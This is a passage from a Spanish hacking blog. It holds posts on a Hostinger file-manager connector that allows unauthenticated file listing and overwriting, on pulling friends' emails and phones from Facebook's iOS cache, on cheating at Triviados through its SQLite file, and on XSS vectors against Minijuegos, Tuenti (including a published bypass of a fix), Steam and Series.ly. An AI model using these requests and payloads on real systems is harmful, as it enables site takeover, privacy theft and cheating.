http://domain/_file-manager/php/connector.php?cmd=open&target=l1_Lw<br />
<br />
Para ver contenido de archivos:<br />
http://domain/_file-manager/php/connector.php?cmd=get&target=l1_Lw<br />
<br />
Para editar archivos:<br />
Petición POST a: http://domain/_file-manager/php/connector.php<br />
Con parámetros por POST:<br />
cmd=put<br />
target=archivo<br />
content=<?php echo "Modifico!"; ?><br />
<br />
Las variables son bastante intuitivas, cmd es el comando, es decir, lo que quieres hacer (abrir, obtener o modificar). Por otro lado tenemos la variable content, que sirve para indicar el nuevo contenido del archivo que vamos a modificar. Y por último, target, que indica el archivo que vamos a modificar.<br />
Target si tiene algo más de complicación, pues no es un path ni un nombre de archivo el valor que debe tomar, sino que es un hash. Cada archivo tendrá su hash y usaremos este para modificarlo o para abrir el directorio. ¿Como conseguimos el hash? Muy sencillo, el hash de la raiz todos los hostings es l1_Lw, y usando la petición con cmd=open, nos devuelve el listado de archivos con toda la información necesaria, incluido el hash. De este modo podemos ir listando cualquier directorio al mas puro estilo "ls" de Linux.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuuRCTyJjx_D4wpuLlIkytAPW0JM_kDOodRv29gEHdaA012VdSScbSdjxcgyGRMbxTA5TkmhB-QjhgLg2Cty0sFDtcgrlYmTzPGWDbZMc5g1VbEdzqgXp0C71KshKSTlhK6wu2a-C1Xz4/s1600/Captura+de+pantalla+2014-05-10+a+la(s)+17.59.45.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuuRCTyJjx_D4wpuLlIkytAPW0JM_kDOodRv29gEHdaA012VdSScbSdjxcgyGRMbxTA5TkmhB-QjhgLg2Cty0sFDtcgrlYmTzPGWDbZMc5g1VbEdzqgXp0C71KshKSTlhK6wu2a-C1Xz4/s1600/Captura+de+pantalla+2014-05-10+a+la(s)+17.59.45.png" height="74" width="320" /></a></div>
<br />
Y si necesitamos ver los archivos pues usamos cmd=get y listo.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggKhlQEX_yJV5i8DPaIlOmWYGJ7fGC_-zQvAgOkhKgb_OV8s-792Aqp2VNccb1RqgRAe7N7hM34m5oG2bZ1p1JHFHxK39EWiA4QoFcfzh3AL2LjuTp-gVGYFEYwlsd2lHiqxCSxiEAeXw/s1600/Captura+de+pantalla+2014-05-10+a+la(s)+18.01.41.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggKhlQEX_yJV5i8DPaIlOmWYGJ7fGC_-zQvAgOkhKgb_OV8s-792Aqp2VNccb1RqgRAe7N7hM34m5oG2bZ1p1JHFHxK39EWiA4QoFcfzh3AL2LjuTp-gVGYFEYwlsd2lHiqxCSxiEAeXw/s1600/Captura+de+pantalla+2014-05-10+a+la(s)+18.01.41.png" height="186" width="320" /></a></div>
<br />
Y por mi parte, creo que no es necesario explicar nada más. La vulnerabilidad, como pueden ver es muy simple.<br />
<br />
Si tienen un hosting con hostinger pueden protegerse eliminando la carpeta de instalación del filemanager usando el segundo filemanager que tiene hostinger o usando algún software para acceder por FTP.<br />
<br />
Espero que les haya gustado. Nos leemos!<br />
<br />
PD: NO ME HAGO RESPONSABLE DEL USO QUE SE LE DE A LA INFORMACIÓN PUBLICADA.Alberto Segurahttp://www.blogger.com/profile/08495309179222070395noreply@blogger.com4tag:blogger.com,1999:blog-2920363949461002743.post-23445090125173781742013-09-06T12:13:00.000+02:002013-09-11T11:34:50.517+02:00Facebook te regala una base de datos con los emails de tus amigosBuenos días!<br />
El otro día os enseñe como modificar la base de datos de triviados para ganar siempre en un dispositivo iOS.<br />
Pues he seguido trasteando con otras apps, entre ella facebook. Y me he dado cuenta de que en la base de datos que guarda en nuestro dispositivo, guarda también los emails de nuestros amigos de facebook! Sí, los emails que usan para acceder a su cuenta!<br />
Esto podría facilitar que se realizase phishing enviando un email..<br />
<br />
Pero donde esta la base de datos? Como la obtengo? Si leiste la entrada de triviados ya sabrás como conseguir la base de datos de facebook de tu iPhone.<br />
<br />
Por tanto, necesitaremos iTools 2013 para acceder a los archivos de las apps de nuestro dispositivo. Accedemos a los archivos de Facebook (como ya se dijo en el<a href="http://elladodelnovato.blogspot.com.es/2013/09/ganando-siempre-atriviate-triviados-en.html" target="_blank"> post de Triviados</a>). Una vez dentro, la base de datos que nos interesa se encuentra en: "/Library/Caches". Y es el archivo llamado "fbsyncstore.db". Para poder abrirlo, ya sabéis, arrastramos al escritorio y lo abrimos con SQLite Manager (extensión de Firefox).<br />
<br />
Una vez abierto, la tabla que nos interesa, es la llamada "contact_points". En esta tabla tenemos los emails de nuestros contactos e incluso los teléfonos móviles. Como podréis ver, en la tabla no hay columna de nombre o apellidos, solo de ID, así que nos es fácil ver a quien pertenece cada email.. Pero tenemos una tabla llamada "people" que si tiene relacionados los IDs y los nombres y apellidos.. Así que con una simple consulta SQL podemos ver fácilmente a quien corresponde cada email. Esta consulta, por ejemplo:<br />
<span style="background-color: #666666;"><span style="color: white;">SELECT first, last, value FROM contact_points E, people P where contact_point_id like '%contact_email%' and P.person_id=E.person_id</span></span><br />
<span style="background-color: #666666;"><span style="color: white;"><br /></span></span>
Y nos dará un resultado como este:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdrQvIKm7eEku3FwHYTy2_gBAlp2j93AYSPDSLf5TaCWXAB51cior_swnhve1eMav8pFNgnz_8GlS7VwBit8F9mpGp4h3-9gDUkW1iCbgQ-xop2rRRxwDRypWsR_nqvhz4heI32gOt0Kg/s1600/face.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="164" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdrQvIKm7eEku3FwHYTy2_gBAlp2j93AYSPDSLf5TaCWXAB51cior_swnhve1eMav8pFNgnz_8GlS7VwBit8F9mpGp4h3-9gDUkW1iCbgQ-xop2rRRxwDRypWsR_nqvhz4heI32gOt0Kg/s320/face.jpg" width="320" /></a></div>
<br />
Y esto es todo! Me parecía curioso e interesante publicar esto :)<br />
<br />
Espero les haya gustado!<br />
Un saludo y hasta la próxima!Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com1tag:blogger.com,1999:blog-2920363949461002743.post-89204520955924371362013-09-01T15:25:00.000+02:002013-09-01T15:27:42.279+02:00Ganando SIEMPRE a Atriviate (Triviados) en iOS (iPhone/iPad/iPod)Buenas tardes a todos! Después de tanto tiempo sin escribir nada, hoy os voy a enseñar como ganar siempre en Atriviate(Triviados) para iOS. Aunque puede aplicarse a cualquier las app de iOS.<br />
<br />
Para hacer esto necesitaremos usar Windows, el programa para gestión de dispositivos <a href="http://www.itools.cn/en_index.htm" target="_blank">iOS iTools 2013</a> y SQLite Manager (plugin para Firefox).<br />
<br />
Lo primero es conectar por USB nuestro dispositivo iOS. Una vez conectado cerramos iTunes si se ha abierto e iniciamos el iTools.<br />
En el menu de la izquierda nos vamos al apartado "Applications", y nos aparecera una lista con las apps que tenemos instaladas.<br />
<br />
Buscamos Atriviate, hacemos click sobre ella y despues hacemos click sobre el boton "Browse".<br />
A continuación se nos abre una ventana dentro del iTools con la carpeta en la que esta instalada la app. Debeis saber que las bases de datos que usan las apps están en "/Documents" y son archivos .sqlite. En esta entrada nos vamos a centrar en la base de datos, pero podéis mirar mas archivos de otros directorios según lo que busquéis (otro archivo interesante es el de preferencias, que se encuentra en "/Library/Preferences", es el único .plist que te dejará abrir)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3KW1tTQXZ9j_IY3MShEmn_TrNf_f6q_bgPRmQkNTOYUoTcmw3jLM07jhw9eduvBv9gBNpI6NVQKfDl52lNMqcyIWVi4sX0jyPbmm7lVra2-vdT56mwHqRro-dOShahuEQ4DjLHkb84_c/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="135" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3KW1tTQXZ9j_IY3MShEmn_TrNf_f6q_bgPRmQkNTOYUoTcmw3jLM07jhw9eduvBv9gBNpI6NVQKfDl52lNMqcyIWVi4sX0jyPbmm7lVra2-vdT56mwHqRro-dOShahuEQ4DjLHkb84_c/s320/1.jpg" width="320" /></a></div>
<br />
<br />
Como se puede ver en la imagen, el archivo de base de datos que buscamos es "Model.sqlite". Ahora lo arrastramos al escritorio, para poder modificarlo con SQLite Manager. Para abrir la base de datos con SQLite Manager. Abrimos SQLite Manager y vamos a: "Archivo->Conectar Base de Datos" y abrimos el archivo Model.sqlite que guardamos en el escritorio. Ahora podemos ir viendo las tablas que forman la base de datos. Nos centraremos en la tabla "ZPREGUNTAS", en esta tabla se guardan todas las preguntas que se van solicitando al servidor. ¿Por qué? Porque la app funciona de manera que la primera vez que jugamos pide las preguntas de la categoría que nos ha tocado jugar, y este nos envía unas 20 preguntas de esa categoría. De este modo, las preguntas se guardan, y conforme se van contestando esas 20 preguntas se van eliminando, cuando no quedan mas se piden nuevas. Ya podéis ir intuyendo que es lo que vamos a hacer.. Si, lo que vamos a hacer es rellenar la tabla de preguntas con preguntas que tengan la misma respuesta como correcta. Pues como veis, en esta tabla se guarda el enunciado, las respuestas, la respuesta correcta (un numero del 1 al 4) y el id de pregunta en el servidor, entre otras cosas..<br />
Ya sabéis lo que vamos a hacer, así que si no sabeis SQL lo mas sencillo es jugar una partida y obtener preguntas con ids validos.<br />
<br />
Despues podéis cambiar la categoria haciendo doble click en la columna, para no tener que jugar todas las categorias de preguntas.<br />
<br />
Una vez que tenemos al menos 1 pregunta de cada categoria(son 7 categorias, la columna categoria puede tomar valores del 1 al 7, dependiendo de la categoria), hacemos que todas las respuestas correctas sean la misma, por ejemplo, que todas sean la primera opción. Esto lo podemos hacer facilmente haciendo click en "Ejecutar SQL" y ejecutando lo siguiente:<br />
UPDATE ZPREGUNTAS SET ZCORRECTA='1'<br />
<br />
Y damos en "Ejecutar SQL". Una vez hecho esto todas las preguntas que tengamos en la base de datos tendrán como opción correcta la primera respuesta.<br />
Pero hay un problema.. Si tenemos pocas preguntas en la base de datos, en cuanto se acaben se pedirán mas al servidor ... :S<br />
Por este motivo, debemos insertar mas preguntas "personalizadas". La manera mas sencilla es usar las que ya tenemos, para repetirlas en la base de datos. Así que simplemente usamos la siguiente instrucción SQL:<br />
INSERT INTO ZPREGUNTAS(Z_ENT ,Z_OPT, ZCATEGORIA , ZCORRECTA , ZIDPREGUNTA , ZIDIOMA , ZPREGUNTA , ZRES1 , ZRES2 , ZRES3 , ZRES4 ) SELECT Z_ENT ,Z_OPT, ZCATEGORIA , ZCORRECTA , ZIDPREGUNTA , ZIDIOMA , ZPREGUNTA , ZRES1 , ZRES2 , ZRES3 , ZRES4 FROM ZPREGUNTAS<br />
<br />
Lo que hace es simplemente insertar en la tabla preguntas, preguntas con esas columnas (las que van entre parentesis), usando las filas (preguntas) que ya existen en la tabla. Para los que sepan de SQL, como veréis, "duplicamos" las preguntas con todos los campos excepto el campo "Z_PK", ya que este campo es la clave primaria, que como sabréis no puede ser la misma para mas de una fila.<br />
Una vez hecho esto se nos duplican todas las preguntas, si lo repetimos varias veces tendremos mas preguntas. No os paséis porque si creáis demasiadas preguntas, la app luego irá muy lenta, pues tiene que cargar demasiadas preguntas de la base de datos.<br />
Bien, pues ahora queda usar la nueva base de datos en la app.. pero este archivo esta protegido, así que no bastará con arrastrarlo a la capeta "/Documents" de la app y reemplazar la antigua (si lo probáis veréis que da error). El único modo es crear un backup de la app usando iTools.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiezyUE_jY4HGPTZz6vFXks-248zQN9X0CDw1Vl_j08zc3ocl3zHQXa7F8i8QUQvu6gLxf7EcJ7rsF70zJiQd0U2_nC02GlJ1lS9U3_MXUoGP4WaSfKq9yDxHrKAnEN7c8a6x-ZzYWPO5c/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="87" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiezyUE_jY4HGPTZz6vFXks-248zQN9X0CDw1Vl_j08zc3ocl3zHQXa7F8i8QUQvu6gLxf7EcJ7rsF70zJiQd0U2_nC02GlJ1lS9U3_MXUoGP4WaSfKq9yDxHrKAnEN7c8a6x-ZzYWPO5c/s320/2.jpg" width="320" /></a></div>
<br />
<br />
Usando la opción que veis en la imagen "Backup program and documents". Esto nos generará un archivo IPA en nuestro escritorio. Lo que haremos será abrirlo con WinRar y entrar en la carpeta "/Container/Documents" y ahora arrastramos nuestra nueva base de datos con nuestras preguntas al archivo, lo que reemplazará la base de datos que se guardo en el backup. Y ya simplemente eliminamos nuestra app del dispositivo y despues instalamos el backup en nuestro dispositivo, arrastrando el archivo IPA a iTools.<br />
<br />
Una vez se haya instalado la app, podremos usarla como siempre y podremos ganar siempre respondiendo con la primera opción :)<br />
<br />
He escrito un poco a prisa y corriendo esta entrada, así que espero que sea entendible para todos. Si tienen algún problema diganlo por comentarios. No sean malos!! :PAnonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com41tag:blogger.com,1999:blog-2920363949461002743.post-90493969098476837842013-07-24T12:11:00.001+02:002013-07-24T12:11:21.548+02:00phpTuenti APIBuenos días!<br />
Después de bastante tiempo si escribir nada, hoy escribo para compartir con vosotros una pequeña API no oficial en PHP para Tuenti hecha por mi.<br />
<br />
El enlace a GitHub: <a href="https://github.com/segura2010/phpTuenti" target="_blank">https://github.com/segura2010/phpTuenti</a><br />
<br />
Ahí tienen la API y para cada función una breve descripción.<br />
Espero que les sea útil :)<br />
<br />
Si alguien quiere añadir algo a la API o modificar algo para mejorarla puede decirlo y colaborar :)<br />
<br />
Por cierto, como alguno me comentó cuando hice la API para Python que por que no le ponía una licencia, he decidido añadirle una licencia Creative Commons a la API !<br />
<br />
Intentaré escribir con mas frecuencia!! Hasta la próxima! :)Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com8tag:blogger.com,1999:blog-2920363949461002743.post-249367840416309032013-05-30T14:05:00.000+02:002013-05-30T17:27:06.379+02:00Vulnerabilidad XSS en el Nuevo MinijuegosHola a todos! Llevo tiempo sin escribir, ya que estoy algo liado con examenes y prácticas.. Pero saco algo de hueco para relajarme un momento y contaros una nueva vulnerabilidad que acabo de encontrar en Minijuegos.com<br />
<br />
Como sabréis, han rediseñado toda su web, y con los cambios que han realizado se han dejado un XSS! ¿Donde está el XSS? Donde suelen estar todos! En el buscador!! El vector utuilizado es uno que me gusta bastante:<br />
<span style="background-color: #999999;">";alert('XSS');</script></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVNi9tXphuVR6_gaI_CnyY-tDh2WEMwDMhMHzcSavau_r9EOJlhDFhRk6sTMZqM6jUI6pOoPoIFiIpvZJGQlr6zP90l0kb9dW_bvMoGQqXKzLiM8qaA2LIu2A-tB-YTiTFvF9BXNDG8EM/s1600/Nuevo_minijuegosXSS_Edit.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVNi9tXphuVR6_gaI_CnyY-tDh2WEMwDMhMHzcSavau_r9EOJlhDFhRk6sTMZqM6jUI6pOoPoIFiIpvZJGQlr6zP90l0kb9dW_bvMoGQqXKzLiM8qaA2LIu2A-tB-YTiTFvF9BXNDG8EM/s320/Nuevo_minijuegosXSS_Edit.jpg" width="320" /></a></div>
<br />
Como veis, lo que ocurre es que al añadir nuestra url de búsqueda en un script y no filtrar comillas ni nada pues podemos cerrar la inicialización de la variable y colocar nuestro código JavaScript! Después de añadir nuestro código, simplemente cerramos el script para evitar de manera fácil y rápida errores de sintaxis en nuestro código que produzcan que no se ejecute.<br />
<br />
El fallo ha sido reportado a Minijuegos.com y arreglado.. Link con el ejemplo:(<a href="http://goo.gl/4uVUU" target="_blank">http://goo.gl/4uVUU</a>) (Ya no funciona)<br />
<br />
Actualización: Ya se ha corregido el fallo. Muy simpatico el chico que contestó al email! Me han regalado gemas de Minijuegos!! :D<br />
<br />
Espero les haya resultado interesante!<br />
Hasta la próxima!!Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com2tag:blogger.com,1999:blog-2920363949461002743.post-49837200313110756362013-04-13T19:15:00.001+02:002013-04-14T14:01:01.865+02:00XSS en Tuenti. Capitulo 5: Mensajes Privados.Muy buenas a todos! Hace muchisimo que no escribo.. Perdonad por dejar abandonadillo el blog.. espero ir escribiendo mas a menudo ! :)<br />
<br />
Hoy os voy a hablar de un nuevo XSS en Tuenti! Empezamos!<br />
<br />
La vulnerabilidad XSS a tratar se encuentra en el sistema de Mensajes<br />
Privados.<br />
Como bien sabemos los los mensajes privados permiten añadir enlaces a otras<br />
webs. Si aprovechamos esta funcionalidad podemos obtener una vulnerabilidad<br />
del tipo XSS. Como se puede ver en la imagen de abajo podemos ejecutar<br />
código malicioso usando el siguiente vector de ataque:<br />
<br />
http://cualquierDominio/algoPorAqui"onmouseover="alert(/XSS/);"<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqguuweQhYfzShFEGQBRoeUQACFeefxUEILh9cO9Dopn3-b2QRH_ndEDltyy7ypgxIRB4K46eG_54yvplNiMeAJx1gszcoGr30Xi_-Ms-0cNzFxfucirYIuSAj8MicR5LSmDePx8cCpcM/s1600/XSSTuenti.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="127" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqguuweQhYfzShFEGQBRoeUQACFeefxUEILh9cO9Dopn3-b2QRH_ndEDltyy7ypgxIRB4K46eG_54yvplNiMeAJx1gszcoGr30Xi_-Ms-0cNzFxfucirYIuSAj8MicR5LSmDePx8cCpcM/s320/XSSTuenti.jpg" width="320" /></a></div>
<br />
<br />
Como vemos usamos las comillas para cerrar la propiedad “href” y a<br />
continuación poder añadir el código malicioso deseado..<br />
Puede parecer una vulnerabilidad no muy peligrosa, pero como ya se vio en el<br />
XSS en MySpace (<a href="http://elladodelnovato.blogspot.com.es/2013/01/vulnerabilidad-xss-en-el-nuevo-myspace.html">http://elladodelnovato.blogspot.com.es/2013/01/vulnerabilidad-xss-en-el-nuevo-myspace.html</a>) pueden modificarse los estilos del enlace usando la propiedad “style” para<br />
modificar el texto y colocarlo al comienzo, con una letra mucho mas grande y<br />
transparente, de manera que sea mucho mas fácil que el usuario pase por<br />
encima del enlace, sin darse ni cuenta.<br />
<br />
Además tenemos una restricción, si en algún momento colocamos un espacio,<br />
la url se corta y el sistema no lo añade al enlace, por lo que hay que poner todo<br />
seguido, sin espacios. Aunque esto no debería ser un gran problema :)<br />
<br />
Esta vulnerabilidad la he encontrado hoy mismo! He enviado un email informando del problema y no he recibido respueta, aunque si que han reparado ya la vulnerabilidad.. Así que desde aquí decir que me ha encantado su forma de agradecer, y no solo eso, sino que me parece lamentable que ni siquiera hayan respondido para decir que iban a mirarlo..<br />
<br />
Así que un poco enfadado he decidido no solo publicarlo ya (ya que esta "solucionado"), sino publicar la forma de volver a explotar el XSS, ya que esta arreglado de forma CHAPUCERA..<br />
<br />
Lo único que hay que hacer es usar el mismo vector pero con la siguiente modificación:<br />
<br />
http://cualquierDominio/algoPorAqui"onmouseover=alert(/XSS/)//<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH0YAE74ixuxJ-PjB7-jhFVFXtMQRrZWkw2-HCwxr0UU8a33-_monO2tiIefsY3taAlWythNDF6CJ_22jPFpyRkKdWKDOhwKV-WLivg9MiE86TvCNotspRnd8zVIHy75JKQ_oHW3Ibvo4/s1600/TUENTI_CHAPUZA.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="148" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH0YAE74ixuxJ-PjB7-jhFVFXtMQRrZWkw2-HCwxr0UU8a33-_monO2tiIefsY3taAlWythNDF6CJ_22jPFpyRkKdWKDOhwKV-WLivg9MiE86TvCNotspRnd8zVIHy75JKQ_oHW3Ibvo4/s320/TUENTI_CHAPUZA.jpg" width="320" /></a></div>
Como vemos ahora la propiedad "href" no es la que falla, sino que es la propiedad "<span style="background-color: white; font-family: 'dejavu sans mono', monospace; font-size: 11px; white-space: pre-wrap;">data-on-click-label" </span>, que además nos añade una dificultad (por la cual tenemos que añadir las "//" al final de nuestro vector de ataque), esta dificultad como podéis ver es que nos deja las comillas de cierre de la propiedad.. Como veis, poniendo las dos barritas (//) evitamos que no se ejecute el javascript por error.. ya que lo que hacemos es usar las barritas para que tome como comentario las comillas y no haya errores. Y ya tenemos nuestro XSS funcionando de nuevo! ;)<br />
<br />
Me parece muy lamentable que no hayan comprobado que se filtraba bien y que no había otra propiedad que fallaba..<br />
<br />
ACTUALIZACIÓN: Acabo de recibir un email de respuesta de un trabajador de Tuenti agradeciendo la colaboración y explicandome lo ocurrido.. Debo decir que por una parte comprendo que no respondiesen, ya que era sábado por la mañana.. es más, pensé que ni siquiera lo arreglarían y pensaba no publicarlo hasta el martes para darles tiempo, pues entendía que siendo fin de semana sería más complicado. Pero sigo pensando que si se preocuparon de arreglarlo también podrían haber enviado un email en el que simplemente informasen de que iban a mirarlo, no pido nada mas.. Para yo saber si realmente les ha llegado el email (ya me ha pasado en otra ocasión que no les llegó). Así que entiendo que en fin de semana estuviesen justos de tiempo y tal, pero si te pones arreglarlo lo primero (en mi opinión) es arreglarlo bien, no a medias.. y avisar de que has recibido el email y vas a mirarlo.. En todo caso, decir que me parece bien que hayan sacado tiempo para arreglarlo antes que nada, preocupandose de la seguridad de sus usuarios.<br />
<br />
Espero volver pronto a escribir una nueva entrada y no volver a dejar abandonado el blog!! Un saludo y hasta la proxima!! :)Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com0tag:blogger.com,1999:blog-2920363949461002743.post-71348069555722423692013-03-02T20:35:00.000+01:002013-03-02T20:39:08.770+01:00XSS Persistente en SteamHola de nuevo!<br />
Hoy os traigo una vulnerabilidad XSS en la web de Steam. La vulnerabilidad se encuentra en los títulos de los anuncios de grupos. Así que si ponemos código en el título conseguiremos que se inyecte (esperad un poco para ver donde! Impacientes xD ). Aquí tenéis una imagen para explicar donde hay que poner el código.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjescgqXBjSHIdJ865xx3CjfkpA12gN5HmlpceF7q8mdEnicLSxC6dAkFyOySQ8Lihg5mu-FEROXFhiS-68qwJak2zT-jDqcaUy1hju1tldNHKXqkChLqgp1mbpgI3nz7LaPNFrlm3TGH0/s1600/steam_xss_title.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjescgqXBjSHIdJ865xx3CjfkpA12gN5HmlpceF7q8mdEnicLSxC6dAkFyOySQ8Lihg5mu-FEROXFhiS-68qwJak2zT-jDqcaUy1hju1tldNHKXqkChLqgp1mbpgI3nz7LaPNFrlm3TGH0/s320/steam_xss_title.jpg" width="320" /></a></div>
<br />
Una vez tenemos nuestro anuncio de grupo, al aceptarlo todos los participantes del grupo recibirán una notificación del anuncio. Pero lo que nos interesa es el panel de novedades del usuario, ya que los usuarios que estén suscritos al grupo verán en su panel de novedades el anuncio del grupo y.. si, aquí está el XSS. Les dejo imagenes del XSS tanto usando un navegador como usando el cliente de Steam. ;)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk5FQm99yeuvf4CjA7eK8pm1NqMkupDGkXuNpnRq912F5B-4F5YJCqsulJRdoEBliszVwLogFzEnJtxobRJnvfV4T8EOQKxzUeBe0RLurGHtKGASnN1V8SftvDYoCfV-MMIll4MJBtw9E/s1600/steam_xss.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk5FQm99yeuvf4CjA7eK8pm1NqMkupDGkXuNpnRq912F5B-4F5YJCqsulJRdoEBliszVwLogFzEnJtxobRJnvfV4T8EOQKxzUeBe0RLurGHtKGASnN1V8SftvDYoCfV-MMIll4MJBtw9E/s320/steam_xss.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioAiuMx9YGuI7vJ5b66IQmbCJkjrQslFpISSxm2pHNZjb7Si6uB449TNEVkYvbmOQsZ4dn4xfiLMK0LQvcX0S3xw4ELLwFyM4F5vNueW1cNdM0XdWPO3yLBhZd4_pB24BvmnRP_6gYm4g/s1600/steam_client.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="207" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioAiuMx9YGuI7vJ5b66IQmbCJkjrQslFpISSxm2pHNZjb7Si6uB449TNEVkYvbmOQsZ4dn4xfiLMK0LQvcX0S3xw4ELLwFyM4F5vNueW1cNdM0XdWPO3yLBhZd4_pB24BvmnRP_6gYm4g/s320/steam_client.jpg" width="320" /></a></div>
<br />
Bueno, pues el fallo ha sido reportado a Steam y aún no ha sido corregido, pero un empleado de Steam ha respondido al reporte y me gustaría compartir su respuesta, a ver si es que yo soy un poco tonto o que pasa..<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0zUyV51vfmLXY2bBZdd8gm01otmnxKOPfXYR6lA_R5u9KQk3oX8wmI8Ehbv7YOpVW3dwTOOr-8bJxNsiJVunlZLbgjcHssBRFRDdivA9N_XIY5M9ZXsdJUr4LWviOqYw9Nu3lWdVmnlE/s1600/steam.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0zUyV51vfmLXY2bBZdd8gm01otmnxKOPfXYR6lA_R5u9KQk3oX8wmI8Ehbv7YOpVW3dwTOOr-8bJxNsiJVunlZLbgjcHssBRFRDdivA9N_XIY5M9ZXsdJUr4LWviOqYw9Nu3lWdVmnlE/s320/steam.jpg" width="320" /></a></div>
<br />
Y esto es todo por hoy, espero que les haya gustado :)<br />
<br />
ATENCIÓN: No me hago responsable del uso de la información aquí publica. El único objetivo de este blog es informar y enseñar.Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com6tag:blogger.com,1999:blog-2920363949461002743.post-43602882650885309622013-02-18T15:22:00.000+01:002013-02-18T15:22:10.279+01:00XSS en Series.ly y un interesante vectorHola a todos!<br />
Hoy os traigo un XSS no persistente en Series.ly. Esta vulnerabilidad se encuentra en el buscador.<br />
El vector usado es el siguiente:<br />
<span style="background-color: #9fc5e8;">'};alert('segura201093');</script></span><br />
<br />
Aquí una imagen con la que se ve claramente lo que ocurre:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgvsbGMAkVrCjZi17FZR3g1jYVZ8WPYpXOtI9Yejnx-GdC07HKXVcfReeCny6wDnwIcwwrbqubJ9N_QVx4I9JO7MglYewx1y48anf8u-bctV2VIxt0QSYfdbzQitOf22DP4ExXU4Smlfc/s1600/Sly.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgvsbGMAkVrCjZi17FZR3g1jYVZ8WPYpXOtI9Yejnx-GdC07HKXVcfReeCny6wDnwIcwwrbqubJ9N_QVx4I9JO7MglYewx1y48anf8u-bctV2VIxt0QSYfdbzQitOf22DP4ExXU4Smlfc/s320/Sly.png" width="320" /></a></div>
<br />
Como podéis ver, estamos dentro de un script, asique simplemente cerramos la comilla y la llave. De este modo, podemos añadir nuestro código Javascript y ejecutarlo. Cerramos la parte de javascript con la etiqueta "</script>" para que se ejecute nuestro código, y que no de error al encontrar lo que le seguía a la variable que cerramos.<br />
<br />
Quería comentar este vector, por que me parece interesante, y por que he visto algunos vectores del tipo:<br />
<span style="background-color: #6fa8dc;">";</script><script>alert(1);</script></span><br />
<br />
Estos vectores debo de reconocer que me parecen bastante absurdos.. ya que si lo que quieres es ejecutar javascript me parece absurdo que quieras salir del código javascript para después volver a hacerte uno tu.. Además si aprovechas que ya estás dentro de un script evitas los problemas del AntiXSS de Chrome.. Hay muchas webs vulnerables a este vector XSS, ya que nos meten la cadena de busqueda en un script para trabajar con ella. De manera que aunque pensemos que no se produce un XSS, si nos fijamos en el código fuente podemos crearnos nuestro vectores de ataque que funcionen correctamente en la web que queremos. Por eso lo que recomiendo es saber que estáis haciendo y mirar bien las partes del código en las que se incluye nuestra cadena de texto. De esta manera podremos crear nuestros propios vectores que si que pueden funcionar en la aplicación.<br />
<br />
Cada web tiene sus características así que puede que un vector no funcione, pero si sabes que hace la web, puedes hacerte un vector bueno ;)<br />
<br />
